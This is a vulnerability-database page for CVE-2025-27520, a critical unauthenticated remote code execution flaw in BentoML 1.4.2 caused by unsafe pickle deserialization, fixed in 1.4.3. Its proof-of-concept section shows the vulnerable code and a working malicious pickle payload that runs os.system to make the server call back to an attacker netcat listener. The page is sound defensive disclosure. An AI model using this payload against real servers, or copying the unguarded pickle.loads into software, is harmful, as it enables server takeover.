CVE-2025-27520 — Vulnerability in bentoml — CVE Details
BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (6.00%). Schedule for your next planned update.
Does your project use an affected bentoml version?
Paste your requirements.txt to check it for CVE-2025-27520 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.
Details
It exists an unsafe code segment in serde.py:
def deserialize_value(self, payload: Payload) -> t.Any:
if "buffer-lengths" not in payload.metadata:
return pickle.loads(b"".join(payload.data))
Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.
PoC
Environment:
- Server host:
- IP: 10.98.36.123
- OS: Ubuntu
- Attack host:
- IP: 10.98.36.121
- OS: Ubuntu
- Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.
1.1 Install BentoML (Server host: 10.98.36.123) :
pip install -U bentoml
1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :
from __future__ import annotations
import bentoml
@bentoml.service(
resources={"cpu": "4"}
)
class Summarization:
def __init__(self) -> None:
import torch
from transformers import pipeline
device = "cuda" if torch.cuda.is_available() else "cpu"
self.pipeline = pipeline('summarization', device=device)
@bentoml.api(batchable=True)
def summarize(self, texts: list[str]) -> list[str]:
results = self.pipeline(texts)
return [item['summary_text'] for item in results]
1.3 Run the service code (Server host: 10.98.36.123) :
pip install torch transformers # additional dependencies for local run
bentoml serve
-
Start nc listening on the attacking host (Attack host: 10.98.36.121) :
nc -lvvp 1234 -
Send maliciously crafted request (Attack host: 10.98.36.121) :
import pickle
import os
import requests
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
class Evil:
def __reduce__(self):
return(os.system, ('nc 10.98.36.121 1234',))
payload = pickle.dumps(Evil())
requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
- Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.
Impact
Remote Code Execution (RCE).
Advisory Timeline
- First published April 4, 2025 (601 days ago).
- Last revised October 27, 2026 — 571 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "bentoml>=1.4.3"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| bentoml PyPI · Affected: 1.3.10, 1.3.11, 1.3.12, 1.3.13 (+20 more) | 1.4.3 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-502Deserialization of Untrusted DataMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmcWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-27520ADVISORY
- https://github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194WEB
- https://github.com/bentoml/BentoMLPACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-294.yamlWEB
- https://pypi.org/project/bentomlWEB
Frequently Asked Questions
- What is CVE-2025-27520?
- BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2025-27520?
- CVE-2025-27520 affects bentoml. It has a 6.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-27520 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This places it in the top 10% of EPSS-scored vulnerabilities — 94.1% of tracked vulnerabilities score at or below it, so it is substantially more likely to be exploited than most tracked vulnerabilities.
Also Known As
Related CVEs
- CVE-2026-35044CRITICAL
- CVE-2024-9070CRITICAL
BentoML deserialization vulnerability
- CVE-2024-2912CRITICAL
Insecure deserialization in BentoML
- CVE-2025-54381CRITICAL
BentoML SSRF Vulnerability in File Upload Processing
- CVE-2025-32375CRITICAL
BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization
- CVE-2026-77359CRITICAL
Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
- CVE-2025-54381CRITICAL
BentoML SSRF Vulnerability in File Upload Processing
- CVE-2026-77312CRITICAL
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)